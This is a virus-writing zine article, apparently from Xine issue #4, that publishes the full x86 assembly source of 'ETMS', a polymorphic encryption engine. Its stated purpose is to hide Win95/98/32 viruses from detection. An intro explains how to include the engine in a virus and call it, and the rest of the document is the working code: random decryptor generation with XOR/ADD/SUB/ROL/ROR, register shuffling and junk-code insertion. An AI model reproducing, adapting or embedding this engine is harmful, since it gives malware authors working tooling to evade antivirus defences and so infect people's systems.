Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 300

eZine's profile picture
Published in 
Xine
 · 6 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 300 |
\-----------------------------/

;
;
; - expressway to my skull -
; [ETMS] v0.1
; -b0z0/iKX-
;
; Intro:
; This is a polymorphic engine for Win95/98/32 based viruses. It (not sure
; about this anyway) creates quite polymorphic decryptors that could be used
; to hide your virus or something else. Skip some lines to get a tech
; description and try to generate a few samples to see what it can do.
; Somebody could ask which is the sense of such a name for a poly. The answer
; is simple: should there be a reason for everything? I find a lot of things
; totally nonsense, so why should poly engines have a name that could fit for
; a poly engine? I just felt like using this name for my poly and I did so. It
; is somewhat a change from the title of a Sonic Youth song named 'Expressway
; to yr skull' (named also 'The Crucifixion of Sean Penn' or 'Madonna, Sean and
; me'), a song that I like and that I found very near when I was writing this
; poly engine.
;
; Features:
; Basic features:
; - Encryption using XOR/ADD/SUB/ROL/ROR on bytes/words/dwords with
; either fixed (fixed immediate or fixed reg) or changing key
; - Can use all registers as pointers, counters and key holders
; - Can encrypt from start to end and from end to beginning
; - Can create memory reference with offset (ie. [ECX + 1234h])
; - Counter with random costants added, counts both decrementing or
; incrementing its value
; - Key change using XOR/ADD/SUB/ROL/ROR/INC/DEC on bytes/words/dwords
; of the key register
; - Quite some different ways of counting loop
; - Some garbage is encrypted aswell
; - Lenght of generated decryptors range somewhere between 400
; bytes up to 4kbs
;
; Garbage:
; - All the normal math, logical and comparation operations and
; assignations on registers, immediates and memory references
; - Moving and exchanging of registers
; - Push of regs/imms/mem_data, pop to regs
; - Creation of fake subroutines
; - Conditional and unconditional jumps
; - Usual one byte opcodes
; - Temporary saves somewhere (to another register or to stack) important
; registers (such as key, counter and pointer) and makes garbage with
; them.
; - More or less all the usual code you could find around in normal
; programs, excepts memory writes and such. Anyway you'd better give a
; look to some decryptors, it is not easy to write too deeply what it
; does.
;
;
; Using the poly:
; Just add the ETMS source in your virus, simply:
; include etms.asm
; Set the registers as described below and then call the poly. The poly uses
; some data for internal purposes. This data of course is not needed to be
; carried around with your infected file or whatever. You can just include
; the ETMS source at the end of the file and then skip the bytes that start
; from the label _mem_data_start. Of course you'll need to have that free
; memory placed there at runtime.
; The random seed (the dd at seed) should be initialized at first poly
; run to a value between 0 and 714024.
;
; Calling parameters:
; ECX = Lenght of things to be encrypted
; ESI = Pointer to what we want to encrypt
; EDI = Where to place decryptor and encrypted stuff
; EBP = Offset at which decryptor will run
;
; On exit:
; EDI = Pointer to generated code
; ECX = Lenght of generated code (decryptor + encrypted code)
;
; Note:
; I tried to write the poly quite clearly adding quite some comments.
; Nevertheless in some parts the code could be a bit messy or strange since
; I tried to optimize it at least a bit (like converting most of direct
; memory 32bit references to a reference [reg + off8] that are much shorter).
; I apologize for some quite messy code and if you have some problems
; understanding something, please contact me.
;
; Contacts:
; For any question, comment or whatever about the poly or about whatever feel
; free to mail me at cl0wn@geocities.com.
;
;

poly:
cld
push edi
push edi

call poly_delta
poly_delta:
pop eax ; where we are running
sub eax,offset poly_delta
push eax

lea ebx,[offset t_inipnt + eax]

o_tini equ offset t_inipnt ; save some bytes since off between
; various data is a 8b

mov dword ptr [ebx],edi
mov dword ptr [ebx - (o_tini - offset v_lenght)],ecx
mov dword ptr [ebx - (o_tini - offset v_virusp)],esi
mov dword ptr [ebx - (o_tini - offset v_runnin)],ebp

mov dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh
mov dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h

xor eax,eax
mov dword ptr [ebx - (o_tini - offset t_fromend)],eax
mov dword ptr [ebx - (o_tini - offset t_pntoff)],eax
mov dword ptr [ebx - (o_tini - offset t_cntoff)],eax
mov dword ptr [ebx - (o_tini - offset t_inacall) - 2],eax

xor cl,cl
bit_loop:
shl ebp,1
jc founded_first1 ; find higher bit with an 1
inc cl ; for random memory offsets
jmp bit_loop
founded_first1:
mov byte ptr [ebx - (o_tini - offset t_memand)],cl

pop ebp ; delta

push edi
mov al,90h
lea edi,[offset enc_space + ebp]
mov dword ptr [ebx - (o_tini - offset w_encrypt)],edi
mov ecx,enc_max
rep stosb
pop edi

call rnd_garbage

mov ecx,3
lea esi,[offset r_pointer + ebp]

init_part:
push ecx
select_register:
call get_register ; get a unused register
xchg eax,ecx

call set_used ; mark as unusable in future
xchg eax,ebx

select_block:
call get_random_al7
and al,011b
jz select_block ; select from 01 to 03

dec eax
cmp byte ptr [eax+esi],0ffh ; check if that stage already
jne select_block ; done

mov byte ptr [eax+esi],bl ; save the register for that
; stage
or al,al
jnz not_pointer

mov dword ptr [esi - (offset r_pointer - offset w_pointer)],edi
; save offset where the
; pointer is initialized
jmp assign_next

not_pointer:
dec eax
jnz not_counter

mov dword ptr [esi - (offset r_pointer - offset w_counter)],edi
jmp assign_next ; assign inital counter

not_counter:

call get_random ; get key
mov dword ptr [esi - (offset r_pointer - offset v_initkey)],eax
xchg eax,ecx

call get_random
and al,1
jz assign_next ; if so use key
call unset_used
mov byte ptr [esi+2],20h ; don't use key
jmp next_loop
assign_next:
; BL register
; EAX value
xchg eax,ebx ; in bl register
or al,0b8h ; mov base
stosb
xchg eax,ecx
stosd ; the value

next_loop:
call rnd_garbage
pop ecx
loop init_part ; make all init steps


; now some base assignment to a pointer, counter and key (if used) registers
; has been done. here we are gonna change a bit the various registers where
; the various things has been assigned
call get_random_al7
and al,011b ; from 0 to 3 moves
jz decryptor_build_start
xchg eax,ecx
reg_movida:
push ecx
get_whichone:
call select_save ; select which to change (pnt,cnt,key)
jc leave_this_out

call save_mov_xchg ; change the regs using mov or xchg
mov byte ptr [edx],al
leave_this_out:
pop ecx
loop reg_movida

decryptor_build_start:
; decryptor loop begins right here

lea esi,[offset t_chgpnt + ebp]
mov dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi

call get_random ; select if starting from head or from
and ax,0101h ; tail and if counter will dec or inc
mov word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax

xchg eax,edx ; rnd in edx

shl edx,1 ; add a constant to counter?
jnc normal_counter
call get_random
mov dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax
normal_counter:
cmp byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h
; no bp + off
je reget_size_op

shl edx,1 ; select if use only pointer or
jc reget_size_op ; pointer + offset
call get_random ; select random offset
mov dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax
; if using get offset
reget_size_op:
call get_random
mov edx,eax
and eax,0fh ; select math operation and size
or eax,eax ; of operand
jz reget_size_op

; byte word dword
; ror 1 6 b
; sub 2 7 c
; xor 3 8 d
; add 4 9 e
; rol 5 a f
;
no_rorrrpr:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03
; if not ax,cx,dx,bx then can't be byte
jb can_use_all ; as key
cmp al,6 ; is byte? get another
jb reget_size_op

can_use_all:
xor ecx,ecx
mov cl,9
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je no_keychanges

shr edx,8 ; edx has rnd
and edx,011b
mov byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl
add ecx,edx

no_keychanges:
cmp al,0bh
jae ok_counts
sub ecx,4d ; if with words 4 inc/dec less
sub word ptr [esi],0202h
cmp al,06d
jae ok_counts
dec ecx ; for bytes even less
dec ecx
sub word ptr [esi],0101h

ok_counts:
push eax
call rnd_garbage
get_nextseq:
call get_random
and eax,011b
xchg eax,edx
cmp byte ptr [esi+edx],0
je get_nextseq
dec byte ptr [esi+edx]
shl edx,2 ; offset = * 4
sub edx,(offset t_chgpnt - offset o_table)
pop eax
push eax
push ecx
push esi
mov ecx,dword ptr [esi+edx]
add ecx,ebp
call ecx ; call the routine to do it
pop esi
pop ecx
pop eax
loop ok_counts

; finished decryption loop, needs comparation and jumps
call rnd_garbage

xor eax,eax
inc eax
mov ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)]
or ecx,ecx
jnz must_compare

get_checker:
call get_random
and eax,0fh
cmp al,09d
ja get_checker
must_compare:
shr al,1
pushf
mov ah,byte ptr [eax + offset chk_counter + ebp] ; get comparer
add ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
mov al,81h
popf
jc store_d00
inc eax
inc eax
stosw
xor al,al
stosb
jmp make_jumps
store_d00:
stosw
xchg eax,ecx
cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
je not_negcnt1
neg eax
not_negcnt1:
stosd
make_jumps:
call get_random
ror al,1
jc do_withlong
stosw

call make_jmpback ; do jump back, in EAX lenght of jump

cmp eax,7fh ; max short jump offset
jb ok_offsetj
mov edi,ebx ; if > then redo from start
dec edi
dec edi
jmp make_jumps
ok_offsetj:
mov ah,74h ; jne + offset
xchg al,ah
mov word ptr [ebx-2],ax
jmp done_cond
do_withlong:
mov ax,840fh ; jz long
stosw
stosd
call make_jmpback ; do jump back, in EAX lenght of jump

mov dword ptr [ebx-4],eax ; store the lenght
done_cond:


; now decryption loop generation is finished
lea esi,[offset v_lenght + ebp]
mov byte ptr [esi - (offset v_lenght - offset r_used)],10h
; can use all regs (except ESP) again

call rnd_garbage ; unencrypted one, some more here
call rnd_garbage

push edi
call rnd_garbage ; encrypted garbage
pop ecx
neg ecx
add ecx,edi ; how much encrypted garbage

mov edx,ecx
sub edi,edx

add ecx,dword ptr [esi]

shr ecx,2 ; so it will be enough for b/w/d enc
inc ecx
shl ecx,2

pop eax
neg eax
add eax,edi ; lenght of decryptor
add eax,dword ptr [esi - (offset v_lenght - offset v_runnin)]
; running offset
mov ebx,dword ptr [esi - (offset v_lenght - offset w_pointer)]
cmp byte ptr [esi - (offset v_lenght - offset t_fromend)],00h
pushf
je no_adding
add eax,ecx ; from end
no_adding:
sub eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)]
; - pointer offset if is there
mov dword ptr [ebx+1],eax ; set initial pointer

mov ebx,dword ptr [esi - (offset v_lenght - offset w_counter)]
inc ebx
mov eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)]
add eax,ecx
mov dword ptr [ebx],eax

cmp byte ptr [esi - (offset v_lenght - offset t_countback)],00h
je not_negcnt
neg dword ptr [ebx]

not_negcnt:

mov esi,dword ptr [esi - (offset v_lenght - offset v_virusp)]

mov ebx,edi ; pointer on code to encrypt
add edi,edx ; + encrypted garbage
popf
je no_adding2
add ebx,ecx ; add lenght if from end

no_adding2:

push ecx
sub ecx,edx
rep movsb ; copy what to encrypt
pop edx

db 0b9h ; mov ecx
v_initkey dd 00h ; initial key value

enc_max equ 20h
; lenghts
; 6 = max encryption operation
; 4 = max 4 inc/dec counter
; 4 = max 4 inc/dec counter
; 3 * 6 = max 3 * 6 byte key change operations

enc_space:
db enc_max dup (90h) ; here the encryptor will be placed
or edx,edx
jnz enc_space ; loop

mov ecx,edi
pop edi
sub ecx,edi ; total lenght
ret ; poly finished
; - ETMS return point

poly_name db '[ETMS] v0.1 -b0z0/iKX-',0

make_jmpback:
push edi

call rnd_garbage

mov al,0e9h
stosb
mov eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)]
; the jump back to start of
sub eax,04h ; the decryptor
sub eax,edi
stosd

call rnd_garbage

pop eax
mov ebx,eax
neg eax
add eax,edi ; calculate lenght of jump and return
ret ; with it

put_encloop_2:
push ecx
xor ecx,ecx
inc ecx
inc ecx
jmp short put_encloop
put_encloop_1:
push ecx
xor ecx,ecx
inc ecx
put_encloop:
; ecx nr of bytes
push eax
xchg edi,dword ptr [w_encrypt+ebp] ; in EDI where we are in enc
; and save dec position
copy_it:
stosb
shr eax,8
loop copy_it
xchg dword ptr [w_encrypt+ebp],edi ; save next and restore dec pnt
pop eax
pop ecx
ret

o_table:
o_counter dd offset ch_counter
o_pointer dd offset ch_pointer
o_key dd offset ch_key
o_mate dd offset ch_mate

ch_counter: ; decrement/increment counter
mov al,48h ; dec
push eax
or al,02h ; counter in enc uses EDX
call put_encloop_1
pop eax
cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
je decrementing
sub al,08h ; else incrementing counter
decrementing:
or al,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
stosb
ret

ch_pointer: ; increment/decrement pointer
mov al,40h ; inc
cmp byte ptr [esi - (offset t_chgpnt - offset t_fromend)],00h
je straight_up
add al,08h
straight_up:
push eax
or al,03h ; ebx
call put_encloop_1
pop eax
or al,byte ptr [esi - (offset t_chgpnt - offset r_pointer)]
stosb
ret

ch_key: ; change key register
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je exit_keychange
get_modifier:
call get_random_al7
cmp al,6
ja get_modifier
mov cl,al
mov ah,byte ptr [eax + offset key_changers + ebp]
mov al,81h ; add/sub/xor base
cmp cl,3
jb no_rrrr
mov al,0c1h ; rol/ror base
no_rrrr:
push eax
reget_ksize:
call get_random ; select if byte/word/dword
and al,011b
jz reget_ksize
cmp cl,04h ; inc dec just on dw and dd
jb isntincdec
cmp al,01h
je reget_ksize
isntincdec:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3
jbe canall
cmp al,01b ; byte keychange only for ax,cx,dx,bx
je reget_ksize
canall:
mov ch,al
pop eax
cmp ch,01h
jne no_decbyte
dec al
no_decbyte:
cmp ch,02h
jne no_wordprefix
push eax
mov al,66h
stosb
call put_encloop_1
pop eax
no_wordprefix:
cmp cl,05h
pushf
jb no_incdecch ; inc/dec has just one byte opcode
dec edi
mov al,byte ptr [edi]
no_incdecch:
popf
push eax
jb no_nopneeded
mov al,ah
or al,1 ; ecx key in enc loop
call put_encloop_1 ; for inc/dec
jmp short after_store
no_nopneeded:
or ah,1 ; key is ECX in enc loop
call put_encloop_2
after_store:
pop eax
or ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)]
stosw
cmp cl,05 ; inc/dec doesn't need any key
jae exit_keychange
call get_random
cmp cl,03
jae just_one_bk ; ror/rol just one byte key
cmp ch,01h
je just_one_bk ; check dimension of key modifier
stosb
call put_encloop_1
shr eax,8h
cmp ch,02h
je just_one_bk
stosw
call put_encloop_2
shr eax,10h
just_one_bk:
stosb
call put_encloop_1
exit_keychange:
ret

ch_mate: ; creates the decryption math operation
xor edx,edx
mov ecx,5h
type_sel:
cmp eax,ecx
jbe ok_regs
inc edx
sub eax,ecx
jmp type_sel ; get type and size.. in EDX size, in EAX type
; edx = 0 for byte, 1 for word, 2 for dword
ok_regs:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
lea esi,[offset _math_imm + ebp]
je without_key
add esi,(offset _math_key - offset _math_imm)
without_key:
dec eax ; type - 1
push esi
push eax
shl eax,1 ; each type is a word
add esi,eax
lodsw ; ax = mathop word

cmp dl,1
jne not_word
push eax
mov al,066h
stosb
call put_encloop_1
pop eax
not_word:
or dl,dl
jnz not_byte
dec al
not_byte:
pop ebx ; type - 1
pop esi ;

push ebx

push eax
neg ebx
add ebx,4 ; get opposite math operation
shl ebx,1
add esi,ebx
lodsw

lea esi,[offset r_regkey + ebp]
cmp byte ptr [esi],20h
je ok_regskey
cmp al,0d3h
je ok_regskey
add ah,08h ; since ECX is used as key
ok_regskey:
or dl,dl
jnz not_byterev
dec al
not_byterev:
add ah,03h ; in enc loop using EBX
call put_encloop_2
pop eax

mov cl,byte ptr [esi - (offset r_regkey - offset r_pointer)]
cmp cl,03h ; eax-ebx
ja upper_ones
add ah,cl
jmp ok_register_p
upper_ones:
add ah,06h
cmp cl,06h ; esi
je ok_register_p
inc ah
cmp cl,07h ; edi
je ok_register_p
add ah,03eh ; ebp
ok_register_p:

pop ecx ; type-1

cmp dword ptr [esi - (offset r_regkey - offset t_pntoff)],0
je not_plusoff
add ah,80h
not_plusoff:
stosw

xor eax,eax

cmp byte ptr [esi],20h ; using key?
je ok_register_k

or cl,cl
je check_rr
cmp cl,4
jne not_rol_ror
check_rr:
cmp byte ptr [esi],1 ; is key CX (cl)
je ok_register_k
mov al,10h ; if not put just immediate
sub byte ptr [edi-2],12h

mov ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)]
sub byte ptr [ebx-2],12h

push ecx
mov bl,20h
xchg bl,byte ptr [esi] ; won't use key reg anymore in the
call unset_used ; future, so use for garbage
pop ecx
jmp short ok_register_k

not_rol_ror:
mov al,byte ptr [esi]
shl eax,3 ; * 8
add byte ptr [edi-1],al ; key register

ok_register_k:
cmp byte ptr [esi - (offset r_regkey - offset r_pointer)],05h
jne not_usingbp
mov byte ptr [edi],00h
inc edi
not_usingbp:

mov eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)]
or eax,eax
jz no_offsetadd
stosd
no_offsetadd:
cmp byte ptr [esi],20h
jne no_key_needed

mov eax,dword ptr [esi - (offset r_regkey - offset v_initkey)]
or cl,cl
je byte_key
cmp cl,4
je byte_key
or dl,dl
je byte_key

stosb
call put_encloop_1

shr eax,8
dec dl
jz byte_key
stosw
call put_encloop_2
shr eax,10h
byte_key:
stosb
call put_encloop_1

no_key_needed:
ret

rnd_garbage:
push ecx
push eax
call get_random
and eax,0fh ; max - 1
inc eax ; not zero
xchg eax,ecx

garbager:
; ecx how many
push edx
push ebx
garbager_loop:
push ecx
get_op_type:
call get_random ; how many possible types
and eax,0fh

mov ecx,[(eax*4)+offset garbage_offsets+ebp]
add ecx,ebp
call ecx ; call garbage routine
pop ecx
loop garbager_loop

mov eax,dword ptr [t_pushed+ebp]

cmp eax,000005h ; if not in a call, not in a jump and
ja stack_is_ok ; pushed <=5

or eax,eax
jz stack_is_ok

inc byte ptr [t_inacall+ebp]

cmp al,01h
ja direct_addesp
call do_pop_nocheck
jmp stack_is_ok

direct_addesp:
push eax ; then correct stack
mov ax,0c483h ; add esp,nr_dd * 4
stosw
pop eax
call force_popall
stack_is_ok:
pop ebx
pop edx

pop eax
pop ecx
ret


do_push:
cmp byte ptr [t_pushed+ebp],05h ; max dwords on the stack
ja exit_pusher
inc byte ptr [t_pushed+ebp]
call get_random ; 4 types of pushing
and al,011b
jz push_register ; normal push reg
dec al
jz push_immediate_dd ; push immediate double
dec al
jz push_immediate_by ; push immediate byte

mov ax,35ffh ; push immediate from memory
stosw
call get_address
jmp pre_exit_dd

push_immediate_by:
mov al,6ah
stosb
call get_random
shr al,1
jc zero_or_menouno
call get_random ; normal push as byte
jmp pre_exit_pusher

zero_or_menouno: ; very usual pushes
and al,01b ; so we will get 0 or -1
dec al ; to LARGE 0 or to LARGE -1
jmp pre_exit_pusher

push_immediate_dd:
mov al,68h
stosb
call get_random
pre_exit_dd:
stosd ; normal push as double
jmp exit_pusher

push_register:
call get_random_al7
add al,050h
pre_exit_pusher:
stosb
exit_pusher:
jmp exit_ppc

do_pop:
cmp byte ptr [t_pushed+ebp],00h
je return_nopop
do_pop_nocheck:
call get_random
shr al,1
jnc popintoreg2
mov ax,0c483h ; add esp,
stosw
get_number:
call get_random_al7
jz get_number
cmp al,byte ptr [t_pushed+ebp]
ja get_number
force_popall:
sub byte ptr [t_pushed+ebp],al
shl al,2 ; dd are pushed, so * 4
jmp store_ngo2
popintoreg2:
call get_register
add cl,058h ; pop in a register
xchg eax,ecx
dec byte ptr [t_pushed+ebp]
store_ngo2:
stosb
return_nopop:
jmp exit_ppc

call_subroutines:
cmp word ptr [t_maxjmps+ebp],0h ; don't nest too much nor
jne just_exit_call ; put pushes/pops in subs and
; we can't know wassup in
; conditional jumps and such

inc byte ptr [t_inacall+ebp]

call get_random_al7
cmp al,01h ; 00h and 01h push
jbe do_push
cmp al,05 ; 02h - 05h pops (more probable so final stack
jbe do_pop ; correction should be needed less often)

; 06,07 do a call
mov al,0e8h
stosb
stosd ; place for offset

push edi
call rnd_garbage
pop ebx

mov al,0e9h
stosb
stosd ; jump offset
push edi
call rnd_garbage

push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx

mov dword ptr [ebx-4],eax ; call offset

call rnd_garbage ; this is the called "subroutine"

call get_random ; more ways of getting back from subroutine,
shr al,1 ; either with normal ret or by correcting the
jnc normal_ret ; stack by popping or by adding to esp
shr al,1
jnc popintoreg
mov ax,0c483h ; add esp,
stosw
mov al,4
jmp store_ngo
popintoreg:
call get_register
add cl,058h ; pop base
xchg eax,ecx
jmp store_ngo
normal_ret:
mov al,0c3h ; ret
stosb
call get_random_al7
cmp al,3
ja no_ccs
xchg eax,ecx
mov al,0cch ; int3, usual after subroutines in win32s
rep stosb
store_ngo:
stosb
no_ccs:
call rnd_garbage

pop ebx ; jump offset

push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx

mov dword ptr [ebx-4],eax
exit_ppc:
dec byte ptr [t_inacall+ebp]
just_exit_call:
ret

maths_immediate_short:
stc
jmp maths_immediate_1

maths_immediate:
clc
maths_immediate_1:
pushf
call get_random_al7 ; 0 to 7
shl al,3 ; * 8
add al,0c0h ; the base
popf
push eax
pushf
call get_register
add al,cl
mov ah,81h ; prefix
popf
pushf
jnc not_a_shortone
inc ah
inc ah
not_a_shortone:
xchg ah,al
stosw
call g_dimension
popf
jnc not_a_shortone2
mov cl,01h
not_a_shortone2:
call put_immediates
pop eax
cmp al,0f8h ; is a CMP
jne not_compare
make_jmp_after_cmp:
call get_random
and eax,01b ; long or short jump
add al,06h ; short jump
jmp make_jump
not_compare:
ret

cdq_jmps_savestack:
call get_random_al7
sub al,3
jc exit_c_j_ss
xchg eax,ecx
mov al,byte ptr [ecx+offset change_jump+ebp]
cmp cl,1
ja not_cdq_cbw

test byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde
jnz exit_c_j_ss
stosb
inc edi
call g_dimension
dec edi
jmp exit_c_j_ss
not_cdq_cbw:
cmp cl,4
je pushandmov
add cl,4 ; this is used for dimension
jmp do_that_fjump ; do as for conditional ones
pushandmov:

call select_save
jc exit_c_j_ss

xchg eax,ebx
mov al,50h ; push

xor ch,ch ; so it won't be erased from stack
xchg ch,byte ptr [t_pushed+ebp]

push ecx
call unset_used ; mark that as unused one
add al,bl ; push the reg
stosb
call rnd_garbage
add al,08h ; pop opcode
stosb

pop ebx
mov byte ptr [t_pushed+ebp],bh
mov byte ptr [r_used+ebp],bl
exit_c_j_ss:
ret


gen_one_byters:
call get_random_al7
make_jump:
mov cl,al
mov al,byte ptr [eax+offset one_byters+ebp] ; get onebyter
cmp cl,05h
jbe not_jump
do_that_fjump:
cmp byte ptr [t_maxjmps+ebp],3 ; don't nest too much
je just_exit
inc byte ptr [t_maxjmps+ebp]

cmp al,0e9h ; for unconditional ones skip some
jae skip_unc ; things

cmp cl,07h
jne not_longjump
push eax
mov al,0fh ; long prefix
stosb
pop eax
not_longjump:
push eax
call get_random
and al,0fh
mov ch,al
pop eax
add al,ch
skip_unc:
stosb ; type of jump
stosb ; first off
cmp cl,07h
jne not_longone
dec edi
stosd
not_longone:
push edi
call rnd_garbage
pop ebx
mov eax,edi
sub eax,ebx ; offset of jump
dec byte ptr [t_maxjmps+ebp]
cmp cl,7
je long_jumper
cmp eax,7fh ; if not too big then use it
jb good_jump
mov edi,ebx ; else forget everything
dec edi
dec edi
ret
good_jump:
mov byte ptr [ebx-1],al
ret
long_jumper:
mov dword ptr [ebx-4],eax
ret
not_jump:
stosb
just_exit:
ret

mem_assign:
mov ax,058bh
jmp mem_common

mem_mathops:
call get_random_al7 ; 0 to 7
shl al,3
add al,03h ; base
mem_common:
push eax
call get_register
shl cl,3 ; *8
add cl,05h ; base for eax
mov ah,cl
stosw
call g_dimension

; now offset
call get_address
stosd
pop eax
cmp al,3bh ; is a cmp
je make_jmp_after_cmp ; if so force a compare
ret


mov_registers:
call get_random_al7 ; random source
add al,0c0h
mov ah,08bh
call get_register ; useful dest
shl cl,3
add al,cl
xchg ah,al
stosw
jmp g_dimension

maths_registers:
call get_random_al7
shl al,3
add al,03h ; base
mov ah,0c0h ; suff
push eax

call get_register ; dest
shl cl,03h
add ah,cl

xchg eax,ecx ; save temp in ecx
call get_random_al7 ; all regs
xchg eax,ecx ; reg in ECX and restore EAX

add ah,cl
stosw

call g_dimension
pop eax
cmp al,3bh
je make_jmp_after_cmp
ret

rotating_imms:
call get_random_al7
cmp al,0110b ; 0f0 doesn't exist
je rotating_imms
shl al,3 ; *8
add al,0c0h

call get_register
add al,cl
mov ah,0c1h
xchg al,ah
stosw
call g_dimension
xor ecx,ecx
inc cl
jmp put_immediates

notneg_register:
call get_random
shr al,1
mov ax,0d0f7h
jc not_add
add ah,08h
not_add:
call get_register
add ah,cl
stosw
; jmp g_dimension

g_dimension:
; EDI after generated garb
reget_dim:
call get_random
and eax,010b ; 0 or 2
jnz no_change
word_change:
mov ecx,dword ptr [edi-2]
mov byte ptr [edi-2],66h ; the prefix
mov dword ptr [edi-1],ecx
inc edi
no_change:
inc eax
inc eax
xchg eax,ecx ; in ECX needed immediates
ret

imm_assign:
call get_register
mov al,0b8h ; base
add al,cl
stosb
inc edi
call g_dimension
dec edi
; jmp put_immediates

put_immediates:
; cl how many
call get_random
put_imm_part:
stosb
shr eax,8
loop put_imm_part
ret

inc_dec_reg:
call get_random
and al,01b
shl al,3 ; * 8, so will be 0 or 8
add al,40h ; incdec generation
call get_register
add al,cl
stosb
inc edi
call g_dimension
dec edi
ret

xchg_regs:
mov ax,0c087h ; xchg eax,eax
call get_register
add ah,cl
call get_register
common_test_xchg:
shl cl,3
add ah,cl
stosw
jmp g_dimension

test_regs:
mov ax,0c085h ; test eax,eax
push eax
call get_random_al7
mov ch,al
call get_random_al7
mov cl,al
pop eax
add ah,ch
jmp common_test_xchg

temp_save_change:
call get_random_al7
sub al,6 ; 1/4 probability, since this couldn't
jc skip_changer ; come too often

call select_save
jc skip_changer

push ecx
call save_mov_xchg

xchg eax,ecx ; in al new register
mov al,byte ptr [edx] ; imp_reg
shl al,3
xchg eax,ecx
add al,cl
or al,0c0h
xchg al,ah
stosw ; mov important_reg,some_reg
pop ebx
mov byte ptr [r_used+ebp],bl ; restore regs status
skip_changer:
ret

select_save:
call get_random_al7
sub al,5 ; get from 0 to 2
jc select_save

xchg eax,edx
add edx,offset r_pointer
add edx,ebp
mov al,byte ptr [edx]

cmp al,0ffh ; not already assigned?
je exit_bad

cmp al,20h ; no key signature, if so skip
je exit_bad

call is_used ; maybe is already saved on stack or
jnz return_good ; such?
exit_bad:
stc
ret
return_good:
mov cl,byte ptr [r_used+ebp]
clc
ret

save_mov_xchg:
xchg eax,ebx
call get_register ; get an usable register
xchg eax,ecx
call set_used ; set this one as used
call unset_used ; and the previous as unused
mov ah,087h ; xchg reg,reg base
push eax
xor ecx,ecx
call get_random ; select if using mov or xchg
shr al,1
jc use_mov_first
mov cl,4 ; + 4 becames mov reg,reg base
use_mov_first:
shr al,1 ; when just saving this won't be used
jc use_mov_after ; select whichone for restore aswell
mov ch,4
use_mov_after:
pop eax
add ah,ch ; restore one
push eax
sub ah,ch
add ah,cl
shl al,3 ; * 8
add al,bl
or al,0c0h ; mov some_reg,important_reg
xchg al,ah
stosw ; put the moving of regs
call rnd_garbage
pop eax
ret


; tables for various purposes
garbage_offsets:
dd offset call_subroutines
dd offset gen_one_byters
dd offset mov_registers
dd offset mem_assign
dd offset mem_mathops
dd offset maths_immediate
dd offset maths_immediate_short
dd offset maths_registers
dd offset rotating_imms
dd offset notneg_register
dd offset imm_assign
dd offset inc_dec_reg
dd offset xchg_regs
dd offset test_regs
dd offset temp_save_change
dd offset cdq_jmps_savestack


one_byters db 090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h

change_jump db 098h,099h,0ebh,0e9h

_math_imm:
dw 008c1h ; ror d[ebx],imm
dw 02881h ; sub d[ebx],imm
dw 03081h ; xor d[ebx],imm
dw 00081h ; add d[ebx],imm
dw 000c1h ; rol d[ebx],imm
_math_key:
dw 008d3h ; ror d[ebx],cl
dw 00029h ; sub d[ebx],eax
dw 00031h ; xor d[ebx],eax
dw 00001h ; add d[ebx],eax
dw 000d3h ; rol d[ebx],cl

; cmp,or,xor,sub,add
chk_counter db 0f8h,0c8h
key_changers db 0e8h,0f0h,0c0h ; xor sub add
db 0c0h,0c8h ; ror rol
db 040h,048h ; inc dec

get_address:
push esi
mov ebx,edi
lea esi,[offset v_runnin + ebp]
sub ebx,dword ptr [esi - (offset v_runnin - offset t_inipnt)]
; actual decryptor lenght
add ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)]

mov edx,dword ptr [esi]

db 0b1h ; mov cl,
t_memand db 00h ; significant bytes present

add edx,ebx

search_offset2:
call get_random
shl eax,cl
shr eax,cl
cmp eax,dword ptr [esi] ; is < starting off of poly?
jb search_offset2
look_foroff2:
cmp eax,edx ; upper border
jbe ok_offset2
sub eax,ebx
jmp look_foroff2
ok_offset2:
pop esi
ret

get_random_al7:
call get_random
and eax,0111b
ret

get_random:
push ebx
push edx

db 0b8h ; mov eax,
seed dd 000h ; random seed, must be < im

mov ebx,4096d ; ia
mul ebx
add eax,150889d ; ic
adc edx,0
mov ebx,714025d ; im
push ebx
div ebx
mov dword ptr [seed+ebp],edx
xchg eax,edx
cdq
xor ebx,ebx
dec ebx
mul ebx ; * 2^32 - 1
pop ebx
div ebx ; here we have a 0<=rnd<=2^32
pop edx
pop ebx
ret


is_used:
; AL register
push eax
mov cl,al
mov al,1
shl al,cl
test byte ptr [r_used+ebp],al
pop eax
; Z = register not used
; NZ = register used
ret

set_used:
; AL register
push eax
mov cl,al
mov al,1
shl al,cl
or byte ptr [r_used+ebp],al
pop eax
ret

unset_used:
; BL register
push eax
mov cl,bl
mov al,1
shl al,cl
not al
and byte ptr [r_used+ebp],al
pop eax
ret

get_register:
push eax
reget_reg:
call get_random_al7
call is_used
jnz reget_reg ; check we aren't using it
; the is_used will put the reg in cl
pop eax
ret

; how much memory does the ETMS need, so you can substract from the lenght
